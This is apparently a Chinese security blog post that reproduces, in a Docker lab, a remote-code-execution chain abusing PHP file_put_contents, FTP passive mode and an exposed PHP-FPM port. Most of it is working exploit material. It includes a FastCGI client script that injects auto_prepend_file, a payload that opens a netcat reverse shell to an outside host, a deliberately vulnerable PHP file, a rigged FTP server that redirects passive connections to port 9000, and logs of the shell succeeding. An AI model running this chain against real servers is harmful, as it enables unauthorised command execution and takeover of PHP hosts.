序
在阅读Laravel debug rce[1]的文章时,感叹文章中的技巧之余,有一句话引起了我的注意。
It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine.
众所周知,我不知呀!
本文学习file_put_contents + FTP + php-fpm的命令执行。
原理
参考[2],我们可以得知,PHP-FPM未授权访问时,可以通过修改变量auto_prepend_file或auto_append_file来执行文件。 根据[1]中描述,我们需要让file_put_contents时,将结果写到php-fpm,这样造成命令执行。
实验
php-fpm命令执行
docker起一个php-fpm的环境
docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm
利用pyfcgiclient来发送fastcgi数据包
from pyfcgiclient.fpm import FPM
phpfpm = FPM(
host='127.0.0.1',
port=9000,
sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)
post_string = '<?php echo `id`;phpinfo(); exit();?>'
status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)
由于有些参数我们没办法直接修改,就直接修改pyfcgiclient里面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On',
同时修改flup_fcgi_client.py中的_environPrefixes,增加PHP_
_environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']
docker exec进入容器,下载对应文件,python执行,成功执行phpinfo。到这里,我们成功对php-fpm发包执行命令了。不过这里使用的是socket文件,不是ip+port的方式。后面我们需要修改配置。
ftp passive mode
ftp passive mode[4]
In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.
我们试一下ftp passive mode。 使用pyftpdlib测试,basic_ftpd.py, 我们设置passive_mode的ip和port,同时在php容器里面nc监听9000端口(为方便演示实验,缺少的bin文件都先准备好,如nc,lsof,xxd等)
handler.masquerade_address = '127.0.0.1'
handler.passive_ports = range(9000, 9001)
同时在docker里面开启nc -lvvp 9000
,在另一个终端里面执行wget ftp://ftp_server_ip:2121/test
,可以看到nc界面显示connect to [127.0.0.1] from localhost [127.0.0.1] 56976
,说明确实会去连接ftp指定的ip和port。接下来我们按照文章中的思路来验证。
环境准备
首先我们将php-fpm调整为监听9000端口。备份配置文件之后进行替换
sed -i 's/\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' www.conf
修改ngix配置
/etc/nginx/conf.d# sed -i 's/unix:\/run\/php\/php8.0-fpm.sock/127.0.0.1:9000/g' default.conf
重启php-fpm和nginx
/etc/init.d/php8.0-fpm restart
/etc/init.d/nginx reload
查看端口,发现监听了9000
./lsof -i:9000
php-fpm8. 137 root 8u IPv4 44589 0t0 TCP localhost:9000 (LISTEN)
利用
验证数据包
抓取payload数据包,为方便演示,复制了nc到docker。前面我们使用nc存数据包,这里我们换另外一种方式,使用wireshark,找到发送到9000端口的数据包,右键Follow->TCP Stream,选择发往9000端口,Raw格式的数据包,保存出来。
from pyfcgiclient.fpm import FPM
phpfpm = FPM(
host='127.0.0.1',
port=9000,
#sock="/run/php/php8.0-fpm.sock",
document_root='/usr/share/nginx/html'
)
post_string = '<?php system("touch /tmp/hacked");system("nc REDACTED 8888 -e /bin/bash");?>'
status_header, headers, output, error_message = phpfpm.load_url(
url='/index.php?a=b',
content=post_string,
remote_addr='127.0.0.1',
cookies='c=d;e=f;'
)
print(output)
将数据包发送到127.0.0.1:9000,发现可以成功。
cat phpfpmlog12 | ./nc 127.0.0.1 9000
file_put_contents脚本
漏洞php文件vuln.php
vuln test
<?php
$url = $_GET["url"];
echo 'reading:' ;
$contents = file_get_contents($url);
echo 'read ok';
var_dump($contents);
echo 'writing:' ;
file_put_contents($url,$contents);
echo 'write ok' ;
?>
// 中间做了很多测试和实验,下面只写成功的结果,略去失败的尝试 现在我们需要做的就是file_get_contents的时候,发送准备好的数据包,file_put_contents请求的时候,pasv到127.0.0.1:9000端口去,造成命令执行。
ftp脚本,在basic_ftpd.py的基础上进行修改。
- 赋予anonymous读写权限
- 修改MyPassiveDTP,在第二次file_put_contents请求过来时,PASV命令返回127.0.0.1:9000
227 Entering passive mode (127,0,0,1,35,40)
- 修改MyHandler,在第二次file_put_contents请求过来时,SIZE返回
550 /phpfpmlog12aaabb is not retrievable.
- 备份之前抓包记录的phpfpmlog
#!/usr/bin/env python
# Copyright (C) 2007 Giampaolo Rodola' <g.rodola@gmail.com>.
# Use of this source code is governed by MIT license that can be
# found in the LICENSE file.
"""A basic FTP server which uses a DummyAuthorizer for managing 'virtual
users', setting a limit for incoming connections and a range of passive
ports.
"""
import os
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler,PassiveDTP
from pyftpdlib.servers import FTPServer
import logging
logging.basicConfig(level=logging.DEBUG)
class MyHandler(FTPHandler):
fileflag = False
def on_connect(self):
print("%s:%s connected" % (self.remote_ip, self.remote_port))
def on_incomplete_file_received(self, file):
# remove partially uploaded files
import os
os.remove(file)
def ftp_SIZE(self, path):
print(path)
if not MyHandler.fileflag:
MyHandler.fileflag = True
else:
MyHandler.fileflag = False
path = path + "aaabb"
super(MyHandler,self).ftp_SIZE(path)
class MyPassiveDTP(PassiveDTP):
_flag = 0
def __init__(self, cmd_channel, extmode=False):
#print()
print(cmd_channel.masquerade_address)
print(cmd_channel.passive_ports)
if MyPassiveDTP._flag % 4 ==0 or MyPassiveDTP._flag % 4 == 1:
MyPassiveDTP._flag = MyPassiveDTP._flag + 1
print("False Flag")
else:
MyPassiveDTP._flag = MyPassiveDTP._flag + 1
cmd_channel.masquerade_address = '127.0.0.1'
cmd_channel.passive_ports = range(9000, 9001)
print(cmd_channel.masquerade_address)
print(cmd_channel.passive_ports)
super(MyPassiveDTP,self).__init__(cmd_channel, extmode=False)
def startftpserver():
# Instantiate a dummy authorizer for managing 'virtual' users
authorizer = DummyAuthorizer()
# Define a new user having full r/w permissions and a read-only
# anonymous user
authorizer.add_user('user', '12345', os.getcwd(), perm='elradfmwMT')
authorizer.add_anonymous(os.getcwd(),perm='elradfmwMT')
# Instantiate FTP handler class
handler = MyHandler
#handler = FTPHandler
passdtp = MyPassiveDTP
handler.passive_dtp = passdtp
handler.authorizer = authorizer
# Define a customized banner (string returned when client connects)
handler.banner = "pyftpdlib based ftpd ready."
# Specify a masquerade address and the range of ports to use for
# passive connections. Decomment in case you're behind a NAT.
# handler.masquerade_address = '127.0.0.1'
# handler.passive_ports = range(9000, 9001)
handler.passive_ports = range(60000, 65535)
# Instantiate FTP server class and listen on 0.0.0.0:2121
address = ('', 2121)
server = FTPServer(address, handler)
# set a limit for connections
server.max_cons = 256
server.max_cons_per_ip = 5
# start ftp server
server.serve_forever()
if __name__ == '__main__':
startftpserver()
开启nc监听
nc -lvvp 8888
请求http://REDACTED:9099/vuln.php?url=ftp://REDACTED:2121/phpfpmlog12
ftp log
DEBUG:pyftpdlib:REDACTED:47198-[] <- USER anonymous
DEBUG:pyftpdlib:REDACTED:47198-[] -> 331 Username ok, send password.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASS ******
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 230 Login successful.
INFO:pyftpdlib:REDACTED:47198-[anonymous] USER 'anonymous' logged in.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- TYPE I
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 200 Type set to: Binary.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- SIZE /phpfpmlog12
/REDACTED/ftptest/phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 550 /phpfpmlog12aaabb is not retrievable.
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- EPSV
None
range(60000, 65535)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- PASV
DEBUG:pyftpdlib:[debug] call: close() (<__main__.MyPassiveDTP listening REDACTED:9000 at 0x7f1a8e081b50>)
127.0.0.1
range(9000, 9001)
127.0.0.1
range(9000, 9001)
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 227 Entering passive mode (127,0,0,1,35,40).
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] <- STOR /phpfpmlog12
DEBUG:pyftpdlib:REDACTED:47198-[anonymous] -> 150 File status okay. About to open data connection.
INFO:pyftpdlib:REDACTED:47198-[anonymous] -> 421 Passive data channel timed out.
nc log
➜ ~ nc -lvvp 8888
listening on [any] 8888 ...
REDACTED: inverse host lookup failed: Unknown host
connect to [REDACTED] from (UNKNOWN) [REDACTED] 60728
ls
50x.html
css
images
index.html
index.php
test.php
test_socket.php
vuln.php
vuln2.php
vuln3.php
vuln4.php
vuln5.php
vuln6.php
vuln7.php
成功。 Man, we made it.
总结
file_put_contents结合ftp passive mode,可以往任意ip port发送数据包,结合php-fpm,可以造成命令执行。有点像dns rebinding。是否还有其他的利用方式?